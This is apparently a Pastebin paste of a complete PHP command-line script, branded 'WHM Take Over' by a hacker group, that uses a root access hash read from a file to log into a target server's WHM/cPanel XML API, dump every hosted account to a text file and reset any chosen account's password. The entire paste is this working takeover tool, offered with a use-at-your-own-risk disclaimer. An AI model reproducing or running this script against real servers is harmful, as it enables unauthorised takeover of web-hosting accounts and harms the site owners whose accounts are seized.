HaNniBaL-KsA

WHM Take Over - Command line (NEW!)

Jun 20th, 2014
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.51 KB | None | 0 0
  1. <?php
  2. #
  3. # alm3refh.com | Group-XP
  4. # Name   : WHM Take Over
  5. # Coder  : HaNniBaL-KsA
  6. # Twitter: @r00t3rz
  7. #    -----------------------------------------
  8. #    NOTE!! :
  9. #    Use these scripts entirely at your own risk.
  10. #    The author cannot be held responsible for any damage, direct nor consequential,
  11. #    caused by the use of, or inability to use the techniques or scripts presented here.
  12. #    " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
  13.  
  14. error_reporting(0);
  15. set_time_limit(0);
  16. function clear(){
  17.   $uname = strtolower(php_uname());
  18.   if (strpos($uname, "win") !== false) {
  19.     @system('cls');
  20.   } else {
  21.     @system('clear');
  22.   }
  23. }
  24. function saveit($name, $data){
  25.   $handle = fopen($name, 'w') or die('Cannot open file:  '.$name);
  26.   fwrite($handle, $data);
  27.   fclose($handle);
  28. }
  29. function alm3refh(){
  30.   print "Options:
  31.  [1] List of Accounts.
  32.  [2] Change a cPanel Account's Password.
  33.  [3] Exit.\n";
  34.   print "\nYour choice: ";
  35.   $choice = chop(fgets(STDIN));
  36.   $options = array("1","2","3");
  37.   if(in_array($choice, $options)){
  38.       return options($choice);
  39.   }else{
  40.       return alm3refh();
  41.   }
  42. }
  43. function options($x){
  44.   if($x == "1"){
  45.     return alm3refh_list();
  46.   } elseif($x == "2"){
  47.     return alm3refh_cp();
  48.   } elseif($x == "3"){
  49.     print "Hope you like it!\n\ncheers.\nalm3refh.com\n\n";
  50.     die();
  51.   }else{ print "How did u get here ?\n\n"; return alm3refh(); } # just in case
  52. }
  53. function alm3refh_list(){
  54.   print "\n\n# Alm3refh.com - WHM Take Over\n# List of Accounts\n\n";
  55.   print "IP/Host: ";
  56.   $ip = chop(fgets(STDIN));
  57.   print "\nUser: ";
  58.   $user = chop(fgets(STDIN));
  59.   print "\nHash fil: ";
  60.   $file = chop(fgets(STDIN));
  61.   $root_hash = @file_get_contents($file);
  62.   print "\n\nStarting ";sleep(1);print ".";sleep(1);print ".";sleep(1);print ".";
  63.   $xmlapi = new xmlapi($ip);
  64.   $xmlapi->hash_auth($user,$root_hash);
  65.   $xmlapi->return_xml(1);
  66.   $xmlapi->set_debug(1);
  67.   $acc = $xmlapi->listaccts();
  68.   $name = "alm3refh_acc.txt";
  69.   saveit($name, $acc);
  70.   print "\n[ alm3refh #] : Accounts have been saved in alm3refh_acc.txt\n";
  71.   #print $xmlapi->listaccts();
  72.  print "\n\ncheers.\nAlm3refh.com\n";
  73. }
  74. function alm3refh_cp(){
  75.   print "\n\n# Alm3refh.com - WHM Take Over\n# Change a cPanel Account's Password\n\n";
  76.   print "IP/Host: ";
  77.   $ip = chop(fgets(STDIN));
  78.   print "\nUser: ";
  79.   $user = chop(fgets(STDIN));
  80.   print "\nHash fil: ";
  81.   $file = chop(fgets(STDIN));
  82.   $root_hash = @file_get_contents($file);
  83.   print "\n\nStarting ";sleep(1);print ".";sleep(1);print ".";sleep(1);print ".";
  84.   print "\n\nTargte: ";
  85.   $target = chop(fgets(STDIN));
  86.   print "\nNew Password: ";
  87.   $pass = chop(fgets(STDIN));
  88.   $xmlapi = new xmlapi($ip);
  89.   $xmlapi->hash_auth($user,$root_hash);
  90.   $xmlapi->return_xml(1);
  91.   $xmlapi->set_debug(1);
  92.   $xmlapi->passwd($target, $pass);
  93.   print "\n[ alm3refh #] $target's password has been changed!";
  94.   print "\n\ncheers.\nAlm3refh.com\n";
  95. }
  96. include 'xmlapi.php';
  97.  clear();
  98. print "  
  99. __          ___    _ __  __   _______    _           ____                
  100. \ \        / / |  | |  \/  | |__   __|  | |         / __ \ Command Line Version!
  101. \ \  /\  / /| |__| | \  / |    | | __ _| | _____  | |  | |_   _____ _ __
  102.  \ \/  \/ / |  __  | |\/| |    | |/ _` | |/ / _ \ | |  | \ \ / / _ \ \'_|
  103.   \  /\  /  | |  | | |  | |    | | (_| |   <  __/ | |__| |\ V /  __/ |  
  104.    \/  \/   |_|  |_|_|  |_|    |_|\__,_|_|\_\___|  \____/  \_/ \___|_|
  105.  
  106. \nWHM Take Over @ alm3refh.com\nBy: HaNniBaL-KsA @r00t3rz\n\n";
  107. alm3refh();
  108. # HK @r00t3rz
  109. ?>
Advertisement
Add Comment
Please, Sign In to add comment